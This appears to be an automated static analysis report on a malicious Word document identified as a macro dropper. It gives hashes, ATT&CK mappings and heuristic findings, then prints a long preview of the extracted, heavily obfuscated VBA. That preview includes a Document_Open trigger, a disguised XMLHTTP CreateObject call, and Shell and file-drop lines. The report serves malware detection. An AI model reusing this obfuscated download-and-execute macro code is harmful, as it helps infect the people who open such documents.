Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0dcaa70154fed44b…

MALICIOUS

Office (OLE)

469.5 KB Created: 2018-07-11 05:10:00 Authoring application: Microsoft Office Word First seen: 2019-01-20
MD5: c4fbeca16edf2ff40970c9d24e60e1e6 SHA-1: 6c25eee673f1b78b280b44717ef8aab252c0f59f SHA-256: 0dcaa70154fed44b1692e4f3a20c4e20c236ddfc5d2aecdddfbb93509ba809a2
352 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1059 Command and Scripting Interpreter

The sample contains heavily obfuscated VBA macros, including a Document_Open auto-execution function. Heuristics indicate the macros attempt to download and execute a file using HTTP and the Shell function. The ClamAV signature 'Doc.Dropper.Emodldr-6755244-0' further supports its nature as a dropper.

Heuristics 10

  • ClamAV: Doc.Dropper.Emodldr-6755244-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emodldr-6755244-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
                Shell (NiRpeRz), 0
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        rXArSo = TnjwjGJ.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set TnjwjGJ = CreateObject("" & "" & wVeRUZe("MRiochrVotsboifbt*. XSMzL^HTT.TiP.") & "" & "")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set TnjwjGJ = CreateObject("" & "" & wVeRUZe("MRiochrVotsboifbt*. XSMzL^HTT.TiP.") & "" & "")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 231364 bytes
SHA-256: f10345cda51b69338de64122c73e4af05344c8fd1073e9174024aefec9839b1e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
2121 of 3193 identifiers look randomly generated (e.g. 'DGRFqYwKlCDVDEnqwQkjQQmQKkJtHkJXKHtmgj') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function nLEJXp(cPpGpl As Boolean, oSZKXe As Double) As String
    indJnFcqowD = StrReverse("DeErP%hS[Fd)")
    For lhdXTh = 0 To 4
        For dwLeTe = 0 To 9
            AjRfgWaKwC = 1706 - 453 - 1180
            nQmUdmkDnGQJ = UCase("vakpDuSh@in_xiX@-TIR")
            IoRDGYrsT = "Dbq#hygxXwv" + "((vj!?hXd$DKMJa]Bj_" + "z#GMJ(WyPl"
        Next dwLeTe

        NZeqNJFA = 1790 + 120 + 977
        LlxTaQ = Left("JPXFwy[cNwCL*(n", 2)
        nQmUdmkDnGQJ = Right("^&-PTMqsB(j]j)%I", 2)
        mmjzAkpo = 1029 - 1166 - 904
        IoRDGYrsT = StrReverse("e.xJsP]Pa-oe.O$dVtZh")
        indJnFcqowD = 730 - 1725 - 1473
        mrYqEIG = StrReverse("tAeF^ ir QSJdiDYFozM")
        LlxTaQ = StrReverse("x]%RMKEwpffDHoNfA.")
        IoRDGYrsT = Right("O$pI hbQKqqNI", 4)
        mrYqEIG = LTrim("a&rv]mjTtY-kRR%")
    Next lhdXTh

    lffRfrLKP = RTrim("N[.?[aAbGkVmPAY")
    nthHNHJPj = RTrim("%ha fvhbLak")
    QTovtdLqDTdw = 932 - 1230 - 1868
    AjRfgWaKwC = UCase("f^g-M-fu!#^k")
    mzGeLibBXS = 702 + 1396 + 1997
    mmjzAkpo = StrReverse(".Ua f*Ljl dibD) xEO")
    NZeqNJFA = Space(15)
    LlxTaQ = LTrim("eSbH.keJwoD]O#-l")
    lffRfrLKP = Right("NWj ?uqGJpL", 5)
    lffRfrLKP = StrReverse("gwpAwObYCpPx")
    SqniQ = StrReverse(")vY@WYpMHRgmLHeZR")
    DcAQh = RTrim("?LCPMDV?A!K")
    nthHNHJPj = Right("jCP DkqFa?Mv_cWpsOJ", 5)
    deCnrn = RTrim("yO%*#qhE.GyzqBF")
    LlxTaQ = StrReverse("o)rgmBldAmLL(P")
    mmjzAkpo = StrReverse("JWA$STYND^SGZVHl#[Oi")
    LlxTaQ = Space(3)
    While PRetlY < 2
        deCnrn = UCase("Xg_*-lrAgD[.Q")
        mrYqEIG = 1072 + 1109 + 1959
        yahplKzx = 1435 - 591 - 403
        NZeqNJFA = LTrim("H!qHA#*qua.")
        LlxTaQ = RTrim("zGr(Rbq$SIciglpDo)zC")
        nQmUdmkDnGQJ = RTrim("Tcda]h#$py")
        lffRfrLKP = "WdyLuQj%@KQFrWJU" + "CeI^@ujt S@uLM%r E" + "]nblC$xRfBWq&C%pIjG_"
        NZeqNJFA = RTrim("b*zZhLr^#hT*k.r^yW")
        yahplKzx = Space(14)
        lffRfrLKP = 1760 - 1916 - 1484
        PRetlY = PRetlY + 3
    Wend

    mzGeLibBXS = "BQCUEWJZ[D" + "GGx)_P t]Tm_&-.%" + "&kkNU$B%w.DPNF"
    nQmUdmkDnGQJ = UCase("SGBHGrQANermR")
    yahplKzx = RTrim("l[RV%VMj[PN-aT%t[g")
    nLEJXp = "DPwUBHBdWAhwIDgdnEhCpLf"
End Function

Private Sub IIMkGm(RgaHWWW As Integer, jUXtbw As Integer, FukbvQD As Boolean, ECZaEM As String)
    AjRfgWaKwC = "eMVusuSj.^!v" + "DFzQFuk$#Zr" + "EFr%KA[xYFcx@?"
    While SxnfSQ < 4
        While mNpIOe < 5
            LlxTaQ = StrReverse("!&MFU]]Q)ML[HwHH?X")
            NZeqNJFA = "OkEV%Qbs^)" + "vO[C#GIUTaJNwL" + "?xRSH HG[)o@KA#*ki)"
            mrYqEIG = RTrim("kwNpj&ina^$al%RUq")
            nthHNHJPj = Space(20)
            mzGeLibBXS = Left("%fbrrxylGABb(?", 2)
            deCnrn = 1043 + 1293 + 899
            yahplKzx = RTrim("?JZZJg%t#LIV")
            mNpIOe = mNpIOe + 3
        Wend

        DcAQh = LTrim("JrRRFpHYSic&?zHl")
        LlxTaQ = 1294 + 1691 + 452
        SxnfSQ = SxnfSQ + 2
    Wend

    IoRDGYrsT = Right("qaQ.nRZ_SAfH!Lc", 4)
    For DiExNp = 0 To 5
        While Ulmyin < 1
            DcAQh = Space(7)
            QTovtdLqDTdw = LTrim("d^K]Cj))W(##")
            Ulmyin = Ulmyin + 3
        Wend

        AjRfgWaKwC = Right("(I.AyiQmS^-Hf", 2)
        deCnrn = RTrim("Ce%^!BZsv&")
    Next DiExNp

    mmjzAkpo = "vrM^BB.qAJe" + "PMA[Mzblbvs!iYvwv" + "i Gclw.&%$p)"
    mzGeLibBXS = Space(12)
    LlxTaQ = Right("f.ZOwqwx)Jf-W!xlLTP-", 5)
    While qzXHrN < 5
        mrYqEIG = Left("IJW^(Kp[?$E$b-wg.B", 4)
        indJnFcqowD = 113 + 1830 + 1698
        yahplKzx = Right("T]@ wmIqyIFh", 5)
        qzXHrN = qzXHrN + 2
    Wend

    IoRDGYrsT = Left("uwOx!?uMQ^ZxxH&&M", 5)
    QTovtdLqDTdw = "ABhXwXTiNMIN" + "#[#l*cpY]e#&QVTuf" + "?PMaOO]A^be_%fE?S"
    NZeqNJFA = Right("]Bkmd&WMDVMYHB", 3)
    AjRfgWaKwC = StrReverse("woSUmCvYpSrq])pp^")
    mrYqEIG = 1136 + 1890 + 127
    XWcwMGUG = Left("G-Zyhge$hcg&fHxb", 3)
    NZeqNJFA = "dXYyaoz*mRp_X!T]%V" + "BMR%f% *SJB" + "etlfZxEuAvYqA"
    nthHNHJPj = Left("XzHPzQDX.jC%E-ffGk!", 4)
    nthHNHJPj = 549 - 367 - 1602
    mzGeLibBXS = Right("R.vU*?QVJB#", 4)
    QsltwktG = 1202 + 1251 + 1989
    nthHNHJPj = UCase("fGQX%vtAmAH(zd!")
    LlxTaQ = Right("JMlQVas@e]egD*DU)", 3)
    XWcwMGUG = Space(6)
    AjRfgWaKwC = RTrim("SYe dJcyY-]K^(")
    While hHWXcS < 3
        AjRfgWaKwC = LTrim("l^Kytscs^F[Q*gKK")
        QTovtdLqDTdw = 1927 + 399 + 417
        indJnFcqowD = StrReverse("hQ[m(SQ.pVkaJlu@xI")
        QsltwktG = Space(15)
        mmjzAkpo = Left("sWOS_noICaUy[R", 3)
        lffRfrLKP = Right("YS_dETzo#U^h-", 2)
        yahplKzx = "vhUoa GCLFV$Ph)#GoPB" + "nMj_isM%kV" + "eLY^Q%pP$arxBazM(R.["
        NZeqNJFA = StrReverse("nFDesKVrNPZc%")
        deCnrn = Right("l(jh@*w(sCDZu]n", 2)
        hHWXcS = hHWXcS + 1
    Wend

    nthHNHJPj = LTrim("G[eafAqE*bmVgYf]nU")
    indJnFcqowD = 1961 - 1851 - 1062
    DcAQh = RTrim("j?SsHaSaWqM_tzhwt")
    mmjzAkpo = StrReverse("ImCN?%zewT_BSUmN*&")
    While WEMbCe < 4
        While URrmdD < 2
            QsltwktG = LTrim(".(.@bTFNUvNaICb")
            QsltwktG = UCase(")_WlXqB&zY")
            mmjzAkpo = UCase("-iBl#!llJP&ZA")
            mzGeLibBXS = Right("lA^rQnDGOYnTEtT-Wa", 4)
            nQmUdmkDnGQJ = "#pB[uQmAvA*]dWnM_JU" + "vBoA[TOH_erHeBR*kr" + "[orOtfEw.gTw#Z"
            NZeqNJFA = LTrim("!SI.R!!Jt(I.q")
            IoRDGYrsT = 1037 + 1746 + 843
            SqniQ = UCase("qu?UQPlrL@R[$")
            AjRfgWaKwC = UCase("qGG]K.?!a_")
            URrmdD = URrmdD + 3
        Wend

        IoRDGYrsT = LTrim("pKQFa$AXK.zm$w(lIGu")
        mzGeLibBXS = 115 - 1854 - 205
        WEMbCe = WEMbCe + 2
    Wend

    AjRfgWaKwC = LTrim("^UYRYKSuNGI")
    While lyrWVR < 1
        While cwpEoJ < 2
            SqniQ = 414 - 928 - 555
            indJnFcqowD = Space(1)
            yahplKzx = StrReverse("X kb*lL@hUj")
            deCnrn = 1247 + 1569 + 460
            nQmUdmkDnGQJ = UCase("YE&tLDXlzBv")
            cwpEoJ = cwpEoJ + 3
        Wend

        indJnFcqowD = 1447 + 718 + 1530
        QTovtdLqDTdw = 1107 + 133 + 586
        lyrWVR = lyrWVR + 3
    Wend

    mrYqEIG = StrReverse("eOBFvnee![]@D")
    AjRfgWaKwC = 328 + 111 + 579
    LlxTaQ = "_o.^.Jy?fHKn%sHp^" + "lg! jFfFzb@q DR" + "Mg_kKzVdtFbYA[v"
    NZeqNJFA = Space(16)
    DcAQh = 357 - 1213 - 1853
    For GzRVAj = 0 To 6
        IoRDGYrsT = Left("PANqkw[fyixJBtHcg_", 2)
        SqniQ = StrReverse("w(ObFQop&T@&mD&")
        QTovtdLqDTdw = StrReverse("dLIF$tR.pVtiCK")
        nQmUdmkDnGQJ = RTrim("hEuRMXOf?xe")
        mrYqEIG = Left("[HACQ$ud[iswO", 3)
    Next GzRVAj

    IoRDGYrsT = RTrim("Tz&Ftb$n*N@XmEv")
    SqniQ = "aAZv(JHFcVyH.qmA" + ".DsaCNFXYvxK" + "c[BMo]BaChabL*iQEU"
    NZeqNJFA = UCase("uBSX&esce[K[yg]")
End Sub

Private Sub QkmkrP(ihtnkQ As String, srlhni As String, wstXvbb As String, yJdZqPT As String, qofIZz As String)
    SqniQ = LTrim("a.^py!U@cSaI*LCZybp")
    LlxTaQ = StrReverse("r[oq&pFaE[zsj?w")
    For ULzkRa = 0 To 10
        nthHNHJPj = StrReverse("QSvQaZ#TRvqO")
        indJnFcqowD = StrReverse("oEc?nyn@soDNuCfvf")
        indJnFcqowD = Right(".hAqWq[Lno#BBP", 4)
        mrYqEIG = 1068 - 341 - 380
        mzGeLibBXS = RTrim("meyB]ES yF[Y")
        nthHNHJPj = "tGodLP]udNn_]R" + "[Vk@yqND$TiR^OAyc^.V" + "CYGXqZOypN%zM $[Dp]d"
        deCnrn = UCase("&ggAQzJLxY[")
        nQmUdmkDnGQJ = Right("CbxSCv[(v$CR", 3)
        IoRDGYrsT = Space(10)
        AjRfgWaKwC = StrReverse("#zxYumH[FZx*?")
    Next ULzkRa

    nQmUdmkDnGQJ = UCase("n$@LFmyUyNQSl")
    XWcwMGUG = StrReverse("JT-cQoA_qXOxL?Z")
    LlxTaQ = Space(13)
    AjRfgWaKwC = Space(15)
    DcAQh = 1658 + 169 + 708
    For bcpWnk = 0 To 6
        deCnrn = Space(10)
        QTovtdLqDTdw = RTrim("Z-@jZC%MIPk?dzi")
        SqniQ = Space(11)
        NZeqNJFA = 515 - 1569 - 593
    Next bcpWnk

    nthHNHJPj = Space(5)
    mzGeLibBXS = RTrim("le ozq#@fZ)")
    SqniQ = 1553 - 678 - 1841
    lffRfrLKP = StrReverse("^*w sqtw rUHm@TnDVC")
    mzGeLibBXS = LTrim("#%&^ppOYDTAZ")
    SqniQ = Left("VK.ze_ElRMyjmB]a-yr", 3)
    yahplKzx = Space(11)
    mrYqEIG = "YLU^fa dnWvGd&fp" + "[#Roo%_!KGl)RaX#" + ".iFmp%-x]CShz."
    lffRfrLKP = Space(17)
    NZeqNJFA = UCase("p*vhqEI@*n]uR_Db#GF")
    Dim TnjwjGJ As Object
    AjRfgWaKwC = "W.]XN!HARG^M" + "vTEK#-[HuxaEmE)XhZ" + "DJeMpBn[vcRS]xGLwsS"
    For wWfbMz = 0 To 1
        While QKYLYY < 4
            mmjzAkpo = 376 + 1467 + 161
            IoRDGYrsT = LTrim("hZ lHCjuMlC")
            QKYLYY = QKYLYY + 2
        Wend

        DcAQh = StrReverse("uQzn&qlarDpq")
        nQmUdmkDnGQJ = 1136 + 459 + 1314
        SqniQ = 1398 - 1998 - 917
        mrYqEIG = UCase("k)YOWuwWrsQDkYUCa kQ")
        mrYqEIG = StrReverse("a^TC)bAubwVILzM_hsI")
        deCnrn = Right("eONeXTswt)PC]LvDsut", 5)
        IoRDGYrsT = Left("HDPHyj(mpPhv$ZWtor", 3)
        nthHNHJPj = UCase("$ss?E)[.KExbMrVT*Ls")
        LlxTaQ = UCase("^ -GX.M(K# !X")
    Next wWfbMz

    deCnrn = Space(12)
    nQmUdmkDnGQJ = Space(12)
    QTovtdLqDTdw = 324 - 775 - 1644
    deCnrn = Right("qTIzHca. !XQEaTy", 4)
    XWcwMGUG = RTrim("x^Ms@-LZg@Bsf[iL.")
    SqniQ = StrReverse("xQ*[mfxlkT&mdC")
    For bhCaQH = 0 To 4
        For JBoFdT = 0 To 7
            yahplKzx = 1353 - 347 - 1692
            NZeqNJFA = Left("vbG.Nqq?UJ_D#U_v^nv", 4)
            mrYqEIG = Space(2)
            QTovtdLqDTdw = 1411 + 944 + 977
            indJnFcqowD = "%iCTWWZPe-&y)vV]" + "fHfr_G*XhJ&zUVmp" + "HRLt#T%@rJBL"
            nQmUdmkDnGQJ = "HWdIEg$yA)Z" + "Vk!EbPUJK[z*" + "jJ*^^^$Zh]-_"
        Next JBoFdT

        deCnrn = LTrim("P!B_btuISvG)AJ")
        mmjzAkpo = Left("EVB-VU!lwVv)*_m]", 4)
        QTovtdLqDTdw = Left("^neMl?wJ_C)x", 3)
        nQmUdmkDnGQJ = LTrim("NpHfsRGII-v&oI.Oe ?")
    Next bhCaQH

    indJnFcqowD = Left("YZE][@#NoOxNGAWK$", 2)
    While EKbgxe < 4
        nthHNHJPj = Left("kGXWo_a*_gI[", 4)
        NZeqNJFA = RTrim("rAk]&_!S[M")
        yahplKzx = LTrim("NVmdPeLREQv^yQFOId")
        deCnrn = LTrim("YktHuJ_P.YBQFmsX")
        XWcwMGUG = Left("FPZ#k[AF!y(bj", 5)
        lffRfrLKP = RTrim("&p%)OBUbcJoCDl(")
        NZeqNJFA = LTrim("HMHeEK?vjM")
        EKbgxe = EKbgxe + 3
    Wend

    IoRDGYrsT = UCase("C%_N&vJ!R(*I]UdPn*p")
    mmjzAkpo = StrReverse("hmzCXI$LQOaAfend")
    nthHNHJPj = StrReverse("n!^QwXdJU_Mv")
    QTovtdLqDTdw = Space(20)
    LlxTaQ = LTrim("oH&PkcC.(fq(]xr")
    SqniQ = " (h*ajIymaL?r.heyNq" + "NOBj-MHR[b.a]fjom" + "VYbc$?uW&JHqC_Gn"
    XWcwMGUG = 1457 + 1703 + 790
    LlxTaQ = 1104 + 233 + 335
    nQmUdmkDnGQJ = Space(18)
    While CpEGnO < 2
        mrYqEIG = StrReverse("O-#&boyVx-lZQlGmT")
        nthHNHJPj = StrReverse("@!EPSFWKmz?")
        SqniQ = 1940 - 1885 - 1390
        QsltwktG = Left("KNkiy.v%&ud#ZXEg@", 5)
        nQmUdmkDnGQJ = UCase("QUbTI$IwxNmcAx_Iek")
        mmjzAkpo = Space(2)
        yahplKzx = 1801 - 560 - 779
        CpEGnO = CpEGnO + 2
    Wend

    yahplKzx = StrReverse("x wmW)w@rN$XlZ&j$G@")
    NZeqNJFA = StrReverse("^GgC(RH^EhnH(ldIP!")
    lffRfrLKP = Right("SxqOmV*gf!ScprQ", 2)
    deCnrn = RTrim("L#di-L#^b?*S)Lb")
    While yMxAcp < 2
        mzGeLibBXS = StrReverse("fOOTQKWYgBbq K-")
        lffRfrLKP = Right("FNGeyRWaURT", 5)
        NZeqNJFA = UCase("SLURrV?bk _HIl")
        nthHNHJPj = UCase("x.d?clBoop.?O")
        DcAQh = LTrim("YYe_]zlnJ%b&")
        DcAQh = "hQUDGx@Pe.EX" + "*BJR?XMEGfwSXJ%vvIN" + "jGsxW@$mM_z"
        XWcwMGUG = LTrim("sRoY^LAk]W-wfm_")
        yMxAcp = yMxAcp + 3
    Wend

    XWcwMGUG = "nAB!us[nJqh[" + "cGYq.PsgwB_T" + "WAk?otdZfs[*oDXG"
    yahplKzx = "%$yaH)nHzda[ZB&" + "R&iZ^$^gL f" + "qp](KS?bXqQK&&"
    LlxTaQ = "pN-  (XT?__#Q" + "NP!Oyo]ekV[" + "bp.GC*b(c&PNBG M"
    nthHNHJPj = 1634 - 1635 - 1992
    SqniQ = LTrim("u^% GhfWn@s")
    yahplKzx = Left("KYux)zuI]DC]LmU[I", 4)
    nQmUdmkDnGQJ = Right("HTe%Dwl aZ(", 4)
    Dim KKEeKoc As Object
    indJnFcqowD = Right("BpIXTiKu[*(NUYK", 2)
    LlxTaQ = RTrim("Wa._wD@jw.stZZz")
    For zvouFT = 0 To 4
        For eLAeYm = 0 To 7
            mzGeLibBXS = UCase("F)mofCQiYh")
            nthHNHJPj = UCase("WBwlGwjzpwS#cnk")
            NZeqNJFA = RTrim("P%AmG$MOryEr")
            SqniQ = " UyXIxFhBK" + "gj(%(yIUePDYnKZVG@I" + "gGpCEwttuXO.WH"
        Next eLAeYm

        deCnrn = LTrim("k_Olwg*J$?ok")
        nQmUdmkDnGQJ = StrReverse("ZMotmzDTX_MpG.")
        XWcwMGUG = UCase("@Vp]D.*r[gNi")
        LlxTaQ = StrReverse("eh%fm-O?wTS$shXFqTd")
        yahplKzx = UCase("VE[iR-nzTyvdYkY")
        IoRDGYrsT = Left("VVTr?FZyUK[Pu", 5)
        DcAQh = 1265 - 1273 - 391
    Next zvouFT

    mrYqEIG = LTrim("#yeaari@!]ZTRSmY")
    mrYqEIG = Space(6)
    nthHNHJPj = Space(10)
    mzGeLibBXS = LTrim("*ATZcbhEzIBKItKo")
    nQmUdmkDnGQJ = LTrim("YdoOBtKBi(YXgZqbRSO")
    mzGeLibBXS = UCase("zvYMkd]tBVGB#v ")
    nthHNHJPj = Space(20)
    For Cstzoo = 0 To 7
        yahplKzx = RTrim("H?KMLGHcNr!@Sd")
        nQmUdmkDnGQJ = StrReverse("Z&qID_eI SXn@!#.(d")
        NZeqNJFA = Left("Aj jt aXiYhBx", 2)
        QsltwktG = UCase("CGy@[TkGK^#vi")
        nthHNHJPj = 1393 - 1254 - 1997
        mrYqEIG = RTrim("zX@Z.LN^-jE*ELbE")
        QsltwktG = "f]N_z.JubSDH&qQA#E" + "U$sPsdIo]AgO" + "bGDWqRfeH$"
        lffRfrLKP = StrReverse("Q^ce-*TzpdZ%!Xp")
    Next Cstzoo

    For HWWyhY = 0 To 2
        While jKwcyW < 1
            nQmUdmkDnGQJ = UCase("xferr*GQmE-J")
            nthHNHJPj = Left("_!@KTDB(Ic-", 5)
            nthHNHJPj = Space(8)
            yahplKzx = Space(16)
            indJnFcqowD = 520 - 1474 - 1456
            nQmUdmkDnGQJ = 1515 + 1346 + 691
            DcAQh = StrReverse("r?(D OQsI$gIWIy(yt*")
            QsltwktG = Right("J?gAYI#mm-e!xhSCN", 4)
            QTovtdLqDTdw = Right("kHogFCYejg^ex et", 2)
            IoRDGYrsT = StrReverse("ioz%?ca[Ly")
            jKwcyW = jKwcyW + 2
        Wend

        LlxTaQ = UCase("uhyOyDgdbJ!Txb")
        mmjzAkpo = 1635 + 363 + 1891
        yahplKzx = 162 + 100 + 1369
    Next HWWyhY

    XWcwMGUG = Space(17)
    nthHNHJPj = StrReverse("$fsLxFV)CE*QSrml")
    IoRDGYrsT = Space(17)
    While PFfewZ < 1
        For iKeWqI = 0 To 7
            mrYqEIG = Space(17)
            AjRfgWaKwC = UCase("$].VO]p%CM%h%E%f&kdg")
            mrYqEIG = LTrim("_aVC_?MaIX *tGJzCj&")
        Next iKeWqI

        IoRDGYrsT = "Y&qxKC_WqaY" + "[JMXUtpd[)j)D" + "fhogEYBZI(uraTR&zjJ!"
        IoRDGYrsT = UCase("IGsK)@ELrqN%")
        PFfewZ = PFfewZ + 1
    Wend

    lffRfrLKP = "Z.LXlcQ*Iq$RroWBx" + "_sFkS)WPkK)uSA.gK?" + "Hpb._ZH^fSjpt.uQyGTx"
    DcAQh = Left("[hcVaK&oGy", 3)
    For gWrutT = 0 To 5
        QsltwktG = 1904 + 565 + 1158
        lffRfrLKP = LTrim("x.x]tVA?BN^ZGzUjEh_u")
    Next gWrutT

    nQmUdmkDnGQJ = "?xrVpAU_m(Er^ll[E" + "FftX&vP.yWWYTtB" + " VmV_[WlxlhrA&@hyV["
    SqniQ = 1641 + 1976 + 1558
    mmjzAkpo = 796 - 799 - 772
    SqniQ = Right("Lt_eKM$u@aV", 3)
    XWcwMGUG = Space(4)
    SqniQ = LTrim("LjkW$#ygI@%VfFYKBp-C")
    yahplKzx = "lgXhvBi$AU)BlOP^nD" + "eoZ%&]PNKQ" + "u[l O^HAHoQjeeqE"
    QTovtdLqDTdw = "W#kGQ*LpQD?H" + "EAr?P^F[ah" + ")hwyA#AajDlvEG"
    LlxTaQ = RTrim("LStJ]vlrFjI*^ZTT")
    NZeqNJFA = StrReverse("d$%wSKapdx_KqREPL")
    lffRfrLKP = Space(20)
    While KTEqhL < 1
        IoRDGYrsT = "m&_V(JJZ^rf)$VpO^r]&" + "CsRCfEVXsOSYwJQrKVa" + "BmdVjPvxhwKw](b]z"
        QsltwktG = UCase("TGbFvkpySPegTG")
        deCnrn = "Kmt.rN[Ihv&]j" + "U.!OESEalrU](vOOP" + "]wka?b O!N^%!P"
        nQmUdmkDnGQJ = "xz]vlXl&m(m" + ")%lfhR%%-ZpTs" + "__hNHjeFbYHe(b"
        NZeqNJFA = UCase("#-Ngrge^&[wJ^]zV)")
        AjRfgWaKwC = "S&DcGi$Ye*EB" + ".YNZ]JYPIOn" + " !immm VvnwxHs"
        yahplKzx = LTrim("[GJM& Pqvr")
        KTEqhL = KTEqhL + 2
    Wend

    yahplKzx = RTrim("&&ISi#* IoFU(mUyp")
    Set TnjwjGJ = CreateObject("" & "" & wVeRUZe("MRiochrVotsboifbt*. XSMzL^HTT.TiP.") & "" & "")
    For Zauydb = 0 To 10
        NZeqNJFA = LTrim("sIICffMLcHXz&KL[l#L")
        DcAQh = Left("!jpFkGc &NS.Bu", 3)
        nQmUdmkDnGQJ = 1544 - 121 - 991
        LlxTaQ = Right(")zHwsoQE b#MC%f", 4)
        mzGeLibBXS = LTrim("wJpEHPRZiKRg^Qe")
        NZeqNJFA = RTrim(" R%XA_C -%ib")
        deCnrn = 1819 - 378 - 1910
        nthHNHJPj = StrReverse("v.?K)z._#tu")
        XWcwMGUG = 1005 - 1771 - 598
        AjRfgWaKwC = "O%Ysp.)btqm" + "XtqDtZzGOdtzLfJ@n" + "CZwhANsqH$&sIlp^Y(Q"
    Next Zauydb

    lffRfrLKP = Left("_RLzIWHqnr", 3)
    yahplKzx = UCase("eNux)CWfpVg^sM ")
    mzGeLibBXS = RTrim("yNmPw@XfIeHT.]Usr-av")
    AjRfgWaKwC = Space(1)
    While xHbWAb < 4
        LlxTaQ = "IoArlmqX[CN!xvOp" + "xkXWU.tUnI" + "lu#.r?$FZ?At"
        deCnrn = 1902 - 1016 - 1493
        xHbWAb = xHbWAb + 3
    Wend

    mmjzAkpo = RTrim("GBF^jsREt$nV")
    SqniQ = LTrim("XQpEGa%%*XxadATXig")
    mmjzAkpo = 1400 + 771 + 779
    mzGeLibBXS = 201 + 1826 + 1119
    While HzbMAl < 1
        While qQrNnd < 3
            mzGeLibBXS = "I*ADNibA&CLzp-Se" + "?#E?]jFnNLUg_k#kZs" + "%ahxKhqn_J_."
            QsltwktG = StrReverse("g.X&@bvxIxhB%Nj@")
            yahplKzx = 1088 - 903 - 270
            qQrNnd = qQrNnd + 1
        Wend

        AjRfgWaKwC = Left("*xmp*!(uFPW#SIvyJ", 3)
        lffRfrLKP = LTrim("[b_Y!-xw_ZRl-")
        DcAQh = Left("h!)yPHVnA)OuUTqU%Hja", 4)
        mrYqEIG = RTrim("Chv.AzpptifxomjfuX(")
        yahplKzx = UCase("zX [^ HP.J!^c")
        HzbMAl = HzbMAl + 3
    Wend

    AjRfgWaKwC = Space(20)
    lffRfrLKP = Space(15)
    QsltwktG = UCase("IH[NFr*tlGaW%rK")
    mrYqEIG = RTrim("tJ[Urxnst#lolGt")
    XWcwMGUG = Space(6)
    mzGeLibBXS = UCase("ppL&J?XtEZ")
    QTovtdLqDTdw = UCase("yet[%NA)hnRD][CWYRY")
    DcAQh = "cWthY_l]ecz" + "rPET &CRrbTiIhf" + "Vzzsdh_UKgXwtN&bZ"
    While ZkBdPY < 2
        For ahrFHB = 0 To 5
            mrYqEIG = RTrim("n)ZaV_N?Eh^lU#N")
            lffRfrLKP = LTrim("aqNG$L%DJdPPjTsmSk?y")
            mzGeLibBXS = 425 + 875 + 1339
            deCnrn = Right("!rT]EUI]H^TDMpBIR", 3)
            lffRfrLKP = 1108 + 1665 + 550
            QsltwktG = UCase("srS$nLS]arb")
            SqniQ = RTrim("#YCiAl%rVJywwEC_%kZF")
            lffRfrLKP = LTrim("ca!V!z.dWGL)&v")
            QsltwktG = StrReverse("nPWrCsmzWq$x")
        Next ahrFHB

        indJnFcqowD = RTrim("PEdWAraPc&Ic@wo^Y")
        deCnrn = RTrim("S.CTkSdS?&hh]p")
        deCnrn = "Jc&GPl@.]r" + "N-X]XrRXSLcyin(" + "ktUPH%WKSicH_c&@-O@"
        ZkBdPY = ZkBdPY + 1
    Wend

    SqniQ = 415 + 1942 + 169
    LlxTaQ = 1068 - 538 - 1339
    mzGeLibBXS = 875 - 224 - 642
    nthHNHJPj = UCase("jaLee-DSBAg")
    indJnFcqowD = RTrim("d_B)E(AmqSx")
    mmjzAkpo = Right("Bf@u)aq_-oSd", 3)
    DcAQh = 113 + 190 + 1575
    NZeqNJFA = Right("SqR)?CwgChmy&DY_", 2)
    For HUppeQ = 0 To 5
        NZeqNJFA = 1645 - 1240 - 862
        IoRDGYrsT = Left("ap#(Kg%SeW$", 3)
        nthHNHJPj = LTrim("VrT!?N((bxi._i&hh#iF")
    Next HUppeQ

    IoRDGYrsT = Right("LLCM@cK@!GlMezzG", 4)
    DcAQh = RTrim("IbCrmm&oU^iXpsd-V$i")
    While SqVFdT < 2
        For TqDMtj = 0 To 8
            mmjzAkpo = Space(1)
            AjRfgWaKwC = 814 - 1494 - 293
            indJnFcqowD = LTrim("hT@d]vVMo*E")
            NZeqNJFA = 226 - 304 - 232
            nthHNHJPj = LTrim("dMLh@J-qUoEED")
        Next TqDMtj

        LlxTaQ = RTrim("$Q)DRSmG(!&zVvTISE")
        QTovtdLqDTdw = UCase("kXlqt(-f#@SNe")
